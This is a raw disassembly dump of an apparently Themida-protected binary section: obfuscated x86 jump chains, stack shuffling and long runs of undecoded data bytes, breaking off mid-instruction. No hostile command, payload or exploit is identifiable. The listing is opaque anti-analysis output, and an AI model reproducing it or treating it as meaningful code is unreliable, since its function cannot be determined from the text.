0FFFE65E9h db 0FFh ; --------------------------------------------------------------------------- loc_51AF4D: ; CODE XREF: Themida_:0051AE8Fj add ecx, 4 jmp loc_520335 ; --------------------------------------------------------------------------- dd 0B83D26BAh, 4AF2814Ch, 101E36Bh, 0BE565AD7h, 45141F62h dd 8B5EF729h, 0C4832434h, 5C136804h, 3C890000h, 2474FF24h dd 243C8B04h, 4C481h, 48F0000h, 24248B24h, 240C8966h, 0FF064CE9h dd 0A8B450FFh, 0FF53E3E9h, 248B66FFh, 63BE924h, 0E957FFFFh dd 0FFFF5555h, 0FF0630E9h, 0C58166FFh, 4D667922h, 58ED8166h dd 6F21E964h, 0F901FFFFh, 0A724E95Fh, 8166FFFFh, 3E02246Ch dd 44816654h, 41B80224h, 24448166h, 0E90FD202h, 0FFFF98CFh dd 2958C501h, 0BB535DEFh, 0C68710Dh, 0E904E3C1h, 0FFFF7122h dd 167CEB81h, 0BD55793Dh, 786E5CACh, 8108E5C1h, 0DB42C9F5h dd 2E5C136h, 0E903EDC1h, 0FFFFB8CEh ; --------------------------------------------------------------------------- loc_51B01C: ; CODE XREF: Themida_:00521093j push ebx jmp loc_51FE66 ; --------------------------------------------------------------------------- dw 15BDh dd 81320E34h, 1662D9C5h, 5DEF01FAh, 0C7E9FD29h, 81FFFFADh dd 5A56ECC2h, 56F2816Bh, 8137EB71h, 0EBE0D3F2h, 5AD001ECh dd 9CB9515Ah, 0C107B641h, 0D9F707E1h, 0CE04C181h, 0C801DB20h dd 24043359h, 33240431h, 248B2404h, 24048F24h, 2404895Ch dd 0DEDE9h, 0A9B95100h, 81297866h, 267EFAF1h, 32F1811Fh dd 8172CA66h, 7D1CB9E9h, 2644E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51B096: ; CODE XREF: Themida_:005176ECj sub esp, 4 mov [esp], ecx push 23134DE3h jmp loc_50C0A7 ; --------------------------------------------------------------------------- loc_51B0A9: ; CODE XREF: Themida_:00517020j pop esi jmp loc_51CAAC ; --------------------------------------------------------------------------- db 0BDh dd 4, 0FF77F2E9h, 247429FFh, 24448108h, 2331DB08h, 246C8124h dd 0E6333E08h, 8FE95E3Eh, 89FFFF49h, 59B3241Ch, 0DD885150h dd 0C8BEC88h, 4C48324h, 48BE288h, 4C48124h, 0E9000000h dd 0FFFF1FE2h, 564668h, 0F82EE900h, 48BFFFFh, 4C48324h dd 0C418E951h, 39B2FFFFh, 0C05EC280h, 0C28005E2h, 50D2F688h dd 0B252C6B4h, 5AD4003Dh, 8001C480h, 0E20838ECh, 6BC28058h dd 525AD000h, 234CE9h, 0D1885100h, 6BE95350h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B13F: ; CODE XREF: Themida_:00514962j sub esp, 4 jmp loc_519270 ; --------------------------------------------------------------------------- loc_51B14A: ; CODE XREF: Themida_:0051CF8Dj push esi mov esi, 67E21A6Bh xor esi, 67E21A6Fh sub edi, esi pop esi xchg edi, [esp] jmp loc_5153F0 ; --------------------------------------------------------------------------- loc_51B161: ; CODE XREF: Themida_:0051E4C9j pop ecx add ebx, 0AB06209h add ebx, edi jmp loc_50E66E ; --------------------------------------------------------------------------- loc_51B16F: ; CODE XREF: Themida_:0050D66Bj add esp, 4 jmp loc_51AB01 ; --------------------------------------------------------------------------- db 81h dd 0D649ADEDh, 38C58130h, 1A0E57Dh, 6C17E9EEh, 8B66FFFFh dd 87E92404h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B193: ; CODE XREF: Themida_:0051CEE1j pop ebp jmp loc_50DCFA ; --------------------------------------------------------------------------- loc_51B199: ; CODE XREF: Themida_:0051F723j push esi jmp loc_50C3D8 ; --------------------------------------------------------------------------- loc_51B19F: ; CODE XREF: Themida_:00515649j add esp, 4 push ecx jmp loc_514108 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 8704C783h, 248B243Ch, 0C6685724h, 5F306B02h dd 187FEF81h, 0D7F7606Fh, 814FD7F7h, 8695BEF7h, 5FF831B0h dd 1832EA81h, 0C281616Ah, 41D7317Eh, 0EA81C201h, 41D7317Eh dd 1832C281h, 8358616Ah, 143302C2h, 0C4EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51B1FA: ; CODE XREF: Themida_:0050D2FAj add edx, esi sub edx, 2A3705Ch push ebx mov ebx, 0BDA4A9Ah add edx, ebx mov ebx, [esp] add esp, 4 mov esi, [esp] jmp loc_51B401 ; --------------------------------------------------------------------------- db 88h dd 8BD588DAh, 0C4812414h, 4, 24148B5Bh, 6804C483h, 2D02h dd 0B5240C89h, 59C58075h, 2859E800h, 66CE2CE8h, 0E9240C8Bh dd 0FFFF3864h ; --------------------------------------------------------------------------- loc_51B24C: ; CODE XREF: Themida_:00520E26j pop ebp sub ebp, 5E7553D2h sub ebp, ecx push eax mov eax, 76AB02DFh add eax, 0E7CA50F3h add ebp, eax pop eax pop ecx add ebp, 308C435Fh add ebp, esi sub ebp, 308C435Fh add ebp, 1572052Ch pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp inc word ptr [esp] pushf jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 0E9h dd 0FFFF4742h ; --------------------------------------------------------------------------- loc_51B294: ; CODE XREF: Themida_:0050DF7Dj xor esi, ebp xchg eax, esi jmp loc_50EB95 ; --------------------------------------------------------------------------- loc_51B29C: ; CODE XREF: Themida_:0051C323j xchg ecx, [esp] pop esp push esp pop dword ptr [esp] push esi push ecx mov ecx, 4 mov esi, ecx mov ecx, [esp] add esp, 4 jmp loc_51BE89 ; --------------------------------------------------------------------------- db 5Bh dd 68h, 242C2800h, 83242C8Ah, 1EE904C4h, 100003Ah, 0FB895BDFh dd 0C8E4E95Fh, 8951FFFFh, 4C181E1h, 83000000h, 0C3304E9h dd 240C3124h, 8B240C33h, 14892424h, 4EC8124h, 89000000h dd 39E92424h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B303: ; CODE XREF: Themida_:0050F89Cj mov edx, 4 add ebp, edx pop edx xchg ebp, [esp] pop esp sub esp, 4 jmp loc_518234 ; --------------------------------------------------------------------------- loc_51B317: ; CODE XREF: Themida_:005158D3j mov ecx, 766E4CDEh mov ebp, 8991B326h jmp loc_514FF0 ; --------------------------------------------------------------------------- dw 15Fh dd 0D7C281CAh, 8B0A3369h, 0C483240Ch, 57B85004h, 57602C33h dd 18F06855h, 0E95D039Dh, 0FFFFEA9Ch, 6733CB81h, 0F3810EEFh dd 0C4C6D450h, 6BE5EE81h, 0DE294835h, 6BE5C681h, 5F5B4835h dd 5AEBD55h, 0E58165C2h, 12B66844h, 0C5814545h, 62FC54CEh dd 0FF2C84E9h, 0E08950FFh, 17FDB951h, 0F1815B7Bh, 2EE85B4Dh dd 0B354C181h, 0C8018A6Ch, 0E9240C8Bh, 0FFFF535Dh ; --------------------------------------------------------------------------- loc_51B39C: ; CODE XREF: Themida_:0051BF1Dj mov ecx, 77FF7B9Bh sub edx, ecx pop ecx add edi, 3AD30C1Eh add edi, edx push esi mov esi, 37C71F75h jmp loc_519C86 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0B2C0B753h, 4554E9B4h, 0EB81FFFFh dd 2, 31241C33h, 1C33241Ch, 89665C24h, 0B252240Ch, 0BAB050F6h dd 0C230E104h, 0FF5DFAE9h, 7AE940FFh, 52FFFF59h, 42474FFh dd 24048F5Ah, 0FF5BBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_51B401: ; CODE XREF: Themida_:0051B216j add esp, 4 jmp loc_512D7A ; --------------------------------------------------------------------------- loc_51B409: ; CODE XREF: Themida_:005123CBj push dword ptr [esp] pop eax add esp, 4 sub esp, 4 jmp loc_5180C8 ; --------------------------------------------------------------------------- dd 8246C29h, 1DBD555Dh, 8165DF09h, 0D508246Ch, 13BDE26h dd 8108246Ch, 0D5082444h, 5D3BDE26h, 4247429h, 66685751h dd 5F1E956Ch, 0FFA9C1E9h, 0EB8158FFh, 704D0654h, 0FFD66BE9h dd 0E5C14DFFh, 2E5C103h, 0C624ED81h, 6E9BF18h, 5FFFFF28h dd 0FFAAE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B46E: ; CODE XREF: Themida_:0051A067j add edx, 7617799Bh mov ebp, [esp] add esp, 4 jmp loc_50DE65 ; --------------------------------------------------------------------------- db 83h dd 896602ECh, 5CB3241Ch, 775E950h, 0EEC10000h, 53B95108h dd 0C1427167h, 0F18108E9h, 667B67h, 8EE9CE29h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51B4A7: ; CODE XREF: Themida_:0051D884j xor ebx, 22645944h jmp loc_51288D ; --------------------------------------------------------------------------- dw 0C281h dd 156135BEh, 0B0DC281h, 0F6E932C0h, 0BFFFFF72h, 151D4BB5h dd 2D5FF829h, 24BE046Ch, 0B951D801h, 24BE046Ch, 0E959C801h dd 3316h ; --------------------------------------------------------------------------- loc_51B4E0: ; CODE XREF: Themida_:0050C293j pop ebp add ebp, 4 push edi jmp loc_51E030 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 0E904C483h, 0FFFF6CD7h ; --------------------------------------------------------------------------- loc_51B4F8: ; CODE XREF: Themida_:0051E749j add eax, 4 push ecx jmp loc_51E703 ; --------------------------------------------------------------------------- db 0FFh dd 34FF3877h, 0EC815924h, 4, 0FF6059E9h db 0FFh ; --------------------------------------------------------------------------- loc_51B515: ; CODE XREF: Themida_:0050BCDFj and ecx, 7DED1C15h not ecx xor ecx, 46D32CB5h dec ecx jmp loc_5128A0 ; --------------------------------------------------------------------------- db 81h, 0F1h, 81h dd 3181ACBDh, 0D02959CAh, 7EA5055Ah, 1C2D6546h, 565D51Ch dd 19AF60D9h, 0FF4184E9h db 0FFh ; --------------------------------------------------------------------------- loc_51B549: ; CODE XREF: Themida_:00516FF0j add edi, edx sub edi, 4828553Bh mov edx, [esp] add esp, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi jmp loc_519C5C ; --------------------------------------------------------------------------- dd 815DEA89h, 9F4EAAC5h, 81D50179h, 9F4EAAEDh, 29E95A79h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51B57F: ; CODE XREF: Themida_:005187A3j pop edi add ebp, 4 xchg ebp, [esp] pop esp mov [edi+eax*4+1], dl mov edx, [esp] add esp, 4 push dword ptr [esp] mov ecx, [esp] jmp loc_50F2AD ; --------------------------------------------------------------------------- dw 0CD21h dd 0FF8CB3E9h, 20DC25FFh, 13565C4h, 8971E46Eh, 1CE958C1h dd 81FFFFB0h, 0E96749EEh, 37C68114h, 8113C768h, 0E60F6EC6h dd 81FE0163h, 0E60F6EEEh, 37EE8163h, 8113C768h, 0E96749C6h dd 2434FF14h, 4C4835Fh, 8029E950h, 0C481FFFFh, 4, 0E95DEA29h dd 0FFFFDB35h, 3839C681h, 30E9730Dh, 1FFFFCAh, 89FCE9DFh dd 3EB9FFFFh, 0BF1D8E68h, 5DD0B33Ch, 5FE9CF29h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B61F: ; CODE XREF: Themida_:00513E49j pop ecx jmp loc_51A3BE ; --------------------------------------------------------------------------- db 80h, 0F3h, 0 dd 0FE2FE380h, 5E3C0C3h, 0B652DBF6h, 2406E937h, 0F529FFFFh dd 8124348Bh, 4C4h, 0EC2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51B64A: ; CODE XREF: Themida_:0050E6EEj mov [esp], eax push 1CF6174Ch mov eax, [esp] push eax jmp loc_50E548 ; --------------------------------------------------------------------------- loc_51B65B: ; CODE XREF: Themida_:0051FD22j mov ecx, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push dword ptr [edi+24h] sub esp, 4 mov [esp], ebx pop dword ptr [edi+24h] push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_519681 ; --------------------------------------------------------------------------- loc_51B69B: ; CODE XREF: Themida_:00510EE4j pop esi pop ecx push ebx jmp loc_51F75E ; --------------------------------------------------------------------------- aIS_0 db '<$*',0 dw 3100h dd 81C631F0h, 0B1432BEEh, 123E9E4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51B6BA: ; CODE XREF: Themida_:00519773j xor ebx, 5781549h jmp loc_50D6DF ; --------------------------------------------------------------------------- a1Hu7 db '1[h7',0 dd 240C8900h, 0CE1CC2B9h, 59CD0157h, 5E6BB850h, 0D7E9190Bh db 6Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B6E3: ; CODE XREF: Themida_:0051894Bj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] loc_51B6EF: ; CODE XREF: Themida_:00518DF6j ; Themida_:0051C572j push ebx push ebx mov ebx, esp add ebx, 4 push esi mov esi, 46E02D5Eh neg esi jmp loc_51ED1F ; --------------------------------------------------------------------------- dw 0DEF6h dd 8004EEC0h, 0F02834F6h, 66C8285Ah, 3BB753h, 0E95B66F8h dd 1CF9h, 4C381h, 1C870000h, 0EC835C24h, 24048904h, 3035BD55h dd 0E5C10B97h, 57ED8104h, 81008537h, 35BD21EDh, 0E9E889B5h dd 3E48h, 46E9DF01h, 81FFFF2Fh, 0FD009BC6h, 5EF10124h dd 8324048Bh, 505304C4h, 0F34A84B8h, 8E8C159h, 4006E0C1h dd 4181A02Dh, 58C389FDh, 0FF99E9E9h, 240431FFh, 5C240433h dd 582434FFh, 0FF8F90E9h, 243487FFh, 8324248Bh, 0C3304C1h dd 240C3124h, 8B240C33h, 0EC832424h, 1C896602h, 66B25224h dd 0D330F9B3h, 2CD02C5Ah, 0E9D800AAh, 0FFFFDC0Fh, 2A60EFBFh dd 17A0E943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51B7C6: ; CODE XREF: Themida_:005186E1j mov ebp, 4B097549h mov edi, 0B4F68AB6h add edi, ebp pop ebp mov ebp, edi pop edi add edx, ebp jmp loc_51A7EA ; --------------------------------------------------------------------------- db 89h, 0F7h, 8Bh dd 0C4832434h, 3E7C104h, 7F8BBA52h, 0D5E93E95h, 29FFFF82h dd 0C7815DEBh, 3320052Ch, 0EF81DF29h, 3320052Ch, 4ABF575Bh dd 811A7D23h, 923737EFh, 13C78102h, 2961C680h, 0FA015FFAh dd 6C26C281h, 505F79B1h, 4B8h, 8BC20100h, 0C4832404h, 24143304h dd 33241431h, 248B2414h, 0DDAAE924h, 8A2DFFFFh, 0E9396B41h dd 0FFFF4C3Dh, 4D48C681h, 2C8B347Ah, 4C48324h, 315EF031h dd 2CBA52C3h, 51000000h, 19A8E951h, 0E2C1FFFFh, 0FEEA8107h dd 1990E59h, 78ADE9D1h, 0F581FFFFh, 86454BAh, 0D5AEED81h dd 17E9321Bh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B88B: ; CODE XREF: Themida_:0050FCA8j mov ebp, 0F9D1E1Ch or ebp, 16CD352Fh not ebp sub ebp, 3CBE0584h jmp loc_518A22 ; --------------------------------------------------------------------------- db 81h dd 2D264FE7h, 7E15E97Fh, 1C89FFFFh, 66B7B724h, 0E914B652h dd 0FFFF7309h, 582434FFh, 21C768h, 41EFE900h, 83660000h dd 566601C0h, 4D9CE9h, 83D5F700h, 0E94D01C5h, 98Fh ; --------------------------------------------------------------------------- loc_51B8E0: ; CODE XREF: Themida_:00511F26j add esi, 0FFFFFFFFh xor esi, 3BAA4DAEh and eax, esi jmp loc_514F42 ; --------------------------------------------------------------------------- db 81h dd 553A6BC3h, 914DE91Eh, 0E831FFFFh, 8B2434FFh, 0C483242Ch dd 59545104h, 4C181h, 92680000h, 89000062h, 4682434h, 0E9000000h dd 0FFFF0974h, 89243489h, 1AC68E6h, 44E90000h, 89000047h dd 4C681E6h, 0E9000000h, 0FFFF791Ah, 1715E4BAh, 52BFE961h dd 0C870000h, 0A0D1E924h, 0EC81FFFFh, 4, 10F6E9h db 0 ; --------------------------------------------------------------------------- loc_51B95D: ; CODE XREF: Themida_:0050C527j mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_50BB08 ; --------------------------------------------------------------------------- loc_51B972: ; CODE XREF: Themida_:0051436Cj push edx push ebp push 45C86D2Eh push dword ptr [esp] pop ebp add esp, 4 jmp loc_512A96 ; --------------------------------------------------------------------------- db 5Ah, 0, 0D8h dd 8904EC83h, 96B1240Ch, 0E980D9F6h, 89D7E967h, 0C483FFFFh dd 13BB5304h, 0F7344C0Eh, 25EB81D3h, 8103C143h, 7996A3C3h dd 0E9DD0155h, 0FFFF28ADh, 582434FFh, 0FF8381E9h, 2C8152FFh dd 5C7A5224h, 243C8B7Eh, 4C481h, 0C7810000h, 7E5C7A52h dd 4AD3E95Ah, 1C89FFFFh, 400BB24h, 5F090000h, 0EFE91Ch dd 0E95B0000h, 0FFFF4F4Dh, 81242489h, 42404h, 3C8B0000h dd 1D49E924h, 0A30F0000h, 0E99C2404h, 0FFFEFBD5h ; --------------------------------------------------------------------------- loc_51BA10: ; CODE XREF: Themida_:0051FBC8j push dword ptr [esp] pop edi jmp loc_520112 ; --------------------------------------------------------------------------- db 80h, 0F6h, 7Dh dd 62E9F028h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BA23: ; CODE XREF: Themida_:0050BC25j xor ebp, edi xor [esp], ebp xor ebp, [esp] xor [esp], ebp pop eax push 110Dh mov [esp], ecx push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_517481 ; --------------------------------------------------------------------------- loc_51BA48: ; CODE XREF: Themida_:0050BD2Ej add bl, 0C8h mov edx, [esp] add esp, 4 push 390Ch jmp loc_50C26E ; --------------------------------------------------------------------------- db 31h dd 81FB31DFh, 0FE1505C3h, 0FFD9896Ah, 0E95B2434h, 479Ah dd 240C895Ch, 0EF61C5B9h, 0BF575665h, 0A376D4F0h, 15FFE89h dd 0BA525EF1h, 9DB3BBFh, 815AD131h, 8E26B9C9h, 2EE9506Bh dd 0AD00000Ch, 8904EC83h, 30BD242Ch, 8138441Fh, 0FFFFFFC5h dd 7524E9FFh, 5550FFFFh, 0FF491BE9h, 0E95158FFh, 4A1Ah dd 0FF241489h, 0FF042474h, 2BE92434h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51BACF: ; CODE XREF: Themida_:0051D9E4j pop edi jmp loc_513AC0 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF2A5CE9h, 2434FFFFh, 5F54575Bh, 4EC8155h, 0E9000000h dd 495Dh, 30B95153h, 68406A3Eh, 3137h, 10F8E9h, 0E9BF5700h dd 0C15E9962h, 0F78105EFh, 175861D5h, 0AAE9DFF7h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BB17: ; CODE XREF: Themida_:0051061Aj sub ebp, 4 jmp loc_50F4B0 ; --------------------------------------------------------------------------- loc_51BB22: ; CODE XREF: Themida_:0050EB87j xchg ebx, ecx xor ebx, edi xor edi, ebx xor ebx, edi not edi xchg edi, ebx xchg ebx, ecx xchg ecx, esi jmp loc_50D848 ; --------------------------------------------------------------------------- db 1 dd 74EE81C6h, 0E967050Ch, 0FFFF9907h, 35193CBAh, 81D2F751h dd 532213CAh, 0FFC28146h, 42FFFFFFh, 0E6D7F281h, 0D589EEDBh dd 0FF6BF0E9h, 0EF8158FFh, 4, 305BE9h db 0 ; --------------------------------------------------------------------------- loc_51BB71: ; CODE XREF: Themida_:005141CFj or ebp, 0C243D89h push esi mov esi, 4E343DE5h sub ebp, 18BD611Bh sub ebp, esi add ebp, 18BD611Bh pop esi sub ebx, ebp push dword ptr [esp] jmp loc_50F28F ; --------------------------------------------------------------------------- loc_51BB96: ; CODE XREF: Themida_:00519019j pop edi jmp loc_512E51 ; --------------------------------------------------------------------------- loc_51BB9C: ; CODE XREF: Themida_:005101BCj mov esi, [esp] add esp, 4 jmp loc_51DD5E ; --------------------------------------------------------------------------- loc_51BBAA: ; CODE XREF: Themida_:0051F605j mov esi, 6BD25634h xor esi, 6BD25630h jmp loc_50D4CA ; --------------------------------------------------------------------------- dw 0E946h dd 0FFFF56EBh, 16026857h, 0E95F1C45h, 0C1Fh, 282DEF80h dd 0D944E9FDh, 4A68FFFFh, 5B362041h, 43CCB81h, 0EB8138D2h dd 0E7BA3066h, 0C15BDD89h, 0DDF703EDh, 0C581D5F7h, 532D1D78h dd 5F47BA52h, 0A2E96BACh, 88FFFF37h, 88D4F6DCh, 1469E9E3h dd 0C4810000h, 4, 7851BF57h, 0E7815F0Fh, 20D6230Ah, 1FFCEF81h dd 0FE010006h, 4EC815Fh, 89000000h, 0FBE92434h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BC37: ; CODE XREF: Themida_:0051BDD6j push esi not dword ptr [esp] pop esi jmp loc_50FDEC ; --------------------------------------------------------------------------- db 89h, 14h, 24h aPNS db 'PN',0 dw 58C6h dd 0C001C680h, 0C6FE02EEh, 8851CEFEh, 88F088C1h, 0D0F659CEh dd 0FF8EE2E9h db 0FFh ; --------------------------------------------------------------------------- loc_51BC65: ; CODE XREF: Themida_:00512E24j sub ebx, edx sub ebx, 6EA571AAh pop edx add ebx, edi add ebx, 619050FAh push ecx mov ch, dl jmp loc_50E3CD ; --------------------------------------------------------------------------- dw 7004h dd 2E66E951h, 0E289FFFFh, 4C50E9h, 0F953E900h, 0E788FFFEh dd 88EE8852h, 0B251E9F4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BC9E: ; CODE XREF: Themida_:00513A4Aj push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_50EB5D ; --------------------------------------------------------------------------- loc_51BCBF: ; CODE XREF: Themida_:0050C7FEj push dword ptr [esp] pop ebp jmp loc_51C707 ; --------------------------------------------------------------------------- dd 1CB468h, 24248900h, 2B43E9h, 2434FF00h, 0FF78D0E9h dd 0EE685CFFh, 8900004Dh, 6852243Ch, 758h, 68242C89h, 5B9A6E64h dd 0FF6E97E9h, 8BE801FFh, 0C483242Ch, 4B95104h, 29000000h dd 5FCCE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BD0E: ; CODE XREF: Themida_:0051E759j mov ebp, 5F794AFAh jmp loc_5203F0 ; --------------------------------------------------------------------------- loc_51BD18: ; CODE XREF: Themida_:0050F71Cj pop edi jmp loc_5182FD ; --------------------------------------------------------------------------- loc_51BD1E: ; CODE XREF: Themida_:00520346j push dword ptr [esp] pop eax add esp, 4 jmp loc_520B64 ; --------------------------------------------------------------------------- dw 0F089h dd 8124348Bh, 4C4h, 4E0C100h, 0FFE7BCE9h, 24248BFFh, 24048B66h dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 4895C24h dd 0C7E95424h, 68FFFFC3h, 3DE6h, 0FF25E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_51BD6D: ; CODE XREF: Themida_:00511F13j mov ecx, [esp] jmp loc_51C292 ; --------------------------------------------------------------------------- aBfqZ db 'fQZ',0 dd 2C5966EAh, 1104A7h, 53112CD0h, 0F800A7B7h, 2434FF5Bh dd 0B268575Ah, 8900004Ah, 4832424h, 815F0424h, 4C7h, 0FFE95100h dd 29FFFFF1h, 24048BC7h, 3304C483h, 3C31243Ch, 243C3324h dd 4142E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BDC2: ; CODE XREF: Themida_:00511EE2j pop edi sub edi, 39626C8h pop ebx or edi, 4C6358BAh push esi mov esi, 318F2DF6h jmp loc_51BC37 ; --------------------------------------------------------------------------- db 89h dd 7FB62414h, 0EB8054B3h, 80F300AFh, 6CE9AFC3h, 0F700000Ch dd 0FFBF57D2h, 81FFFFFFh, 0BA782BC2h, 0EA43E922h, 0C481FFFFh dd 4, 68505652h, 4E8D2B90h, 0AAD3558h, 0C6892246h, 0DEC7BA58h dd 0F2019334h, 5AD7015Eh, 0C0168h, 242C8900h, 0C581E589h dd 4, 0FFCDBCE9h, 0BD555CFFh, 6E1361DEh, 0E95DEA31h, 0FFFEF79Dh dd 33241431h, 248B2414h, 0BB0F6624h, 0E99C2404h, 0FFFEF789h dd 348BF001h, 2BFAE924h, 7AE9FFFFh, 66FFFEF7h, 2C8BEE89h dd 4C48124h, 66000000h, 5E66F029h, 0FBC38166h, 0C329660Eh dd 50DE9h db 0 ; --------------------------------------------------------------------------- loc_51BE89: ; CODE XREF: Themida_:0051B2B6j add [esp+4], esi pop esi push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] push ebp push esp jmp loc_5149A7 ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 4BF24h, 0E0E90000h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BEC7: ; CODE XREF: Themida_:0051187Fj pop esp jmp loc_517265 ; --------------------------------------------------------------------------- db 68h, 0C6h, 58h dd 0F3E90000h, 64000051h, 6E9028Fh db 0F7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51BEDF: ; CODE XREF: Themida_:0051CAB3j jmp loc_50B5E5 ; --------------------------------------------------------------------------- loc_51BEE4: ; CODE XREF: Themida_:0051FC59j pop esi mov ebx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_51F238 ; --------------------------------------------------------------------------- dd 8006ECC0h, 0F4805FECh, 21C48098h, 5058E588h, 0D60C36B0h dd 602C960Ch, 2556E9h db 0 ; --------------------------------------------------------------------------- loc_51BF19: ; CODE XREF: Themida_:0050F28Aj or edx, esi pop esi push ecx jmp loc_51B39C ; --------------------------------------------------------------------------- dw 0BEE9h dd 0B2FFFEF6h, 0E9D188F1h, 0FFFF5FE8h, 4B8h, 0C2C68100h dd 81078615h, 742515C6h, 81C60165h, 742515EEh, 0C2EE8165h dd 58078615h, 0BD555257h, 68DB1978h, 0FF6C1EE9h, 0C3B551FFh dd 6659E800h, 5124148Bh, 0C181E189h, 4, 8702C183h, 0F8E9240Ch db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BF7B: ; CODE XREF: Themida_:0051872Cj mov [esp], edi mov edi, 1B22A34h xor edi, 12872C1Ah sub ebp, edi push dword ptr [esp] pop edi jmp loc_5193B8 ; --------------------------------------------------------------------------- dd 0C230E954h, 0AD68FFFFh, 0E900006Bh, 0FFFF3BE0h, 4EC81h dd 4890000h, 241C8724h, 1C87D3F7h, 24048B24h, 4C481h, 0E8C10000h dd 86E95306h, 89FFFFDBh, 0E0892404h, 0FF0229E9h, 0F5814DFFh dd 2CD790Dh, 3BDFF581h, 0EA2175B0h, 81242C8Bh, 4C4h, 5EAC100h dd 7FE9C281h, 0D501FF3Dh, 519CE95Ah, 0FB01FFFFh, 4C3815Fh dd 87000000h, 0E95C241Ch, 21FCh, 43E95066h, 8100003Bh dd 7D042444h, 5A2E226Dh, 83240C8Bh, 0C18104C4h, 4, 2C181h dd 0A8E90000h, 81FFFF7Ch, 4ECh, 241C8900h, 0FFD2B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_51C041: ; CODE XREF: Themida_:0051A25Dj pop ebp sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], eax push esi jmp loc_514B64 ; --------------------------------------------------------------------------- loc_51C05B: ; CODE XREF: Themida_:005102DFj sub esp, 4 mov [esp], edi jmp loc_5196CC ; --------------------------------------------------------------------------- loc_51C066: ; CODE XREF: Themida_:0052093Ej pop ebp sub ecx, 6E325165h add ebp, 1AF93462h add ebp, ecx sub ebp, 1AF93462h jmp loc_518C2F ; --------------------------------------------------------------------------- dd 8245C01h, 0E92434FFh, 0FFFF4211h, 8B2434FFh, 0C481242Ch dd 4, 0FFDDD0E9h, 0BAC381FFh, 0E92B3B28h, 0FFFF30F8h ; --------------------------------------------------------------------------- loc_51C0A8: ; CODE XREF: Themida_:00513286j push ebp mov ebp, 4C8F29F6h sub ebp, 0E678C11Ah jmp loc_50BC47 ; --------------------------------------------------------------------------- aBAqsi db '^&!AQ=',0 dd 0B7C38100h, 29B98024h, 42895BD8h, 0F9FFE930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C0D6: ; CODE XREF: Themida_:00513F50j mov [esp], ecx push ebx jmp loc_515ECD ; --------------------------------------------------------------------------- loc_51C0DF: ; CODE XREF: Themida_:00517283j dec edi jmp loc_50F9F7 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 9D680000h, 8900005Ch, 8B542414h, 45682414h dd 89000062h, 89512414h, 4C181E1h, 0E9000000h, 0FFFF31B0h dd 4EC835Eh, 333EE9h, 6EBB5300h, 894C2D02h, 17E95BD8h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C127: ; CODE XREF: Themida_:0051E246j or edx, 161658CDh add edx, 2281E9Fh and edx, 20D352A4h dec edx jmp loc_5114C8 ; --------------------------------------------------------------------------- loc_51C13F: ; CODE XREF: Themida_:0050CB09j push edi sub esp, 4 mov [esp], edx push ecx mov ecx, 16226CEFh jmp loc_5152C3 ; --------------------------------------------------------------------------- loc_51C151: ; CODE XREF: Themida_:0050B827j not esi not esi sub esi, 268A09B6h xor esi, 6DD91E62h jmp loc_50E9D6 ; --------------------------------------------------------------------------- dw 0BB1h dd 0E950C380h, 0FFFF452Eh, 8CF58166h, 0EE3BE964h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C17A: ; CODE XREF: Themida_:0051D45Dj push dword ptr [esp] 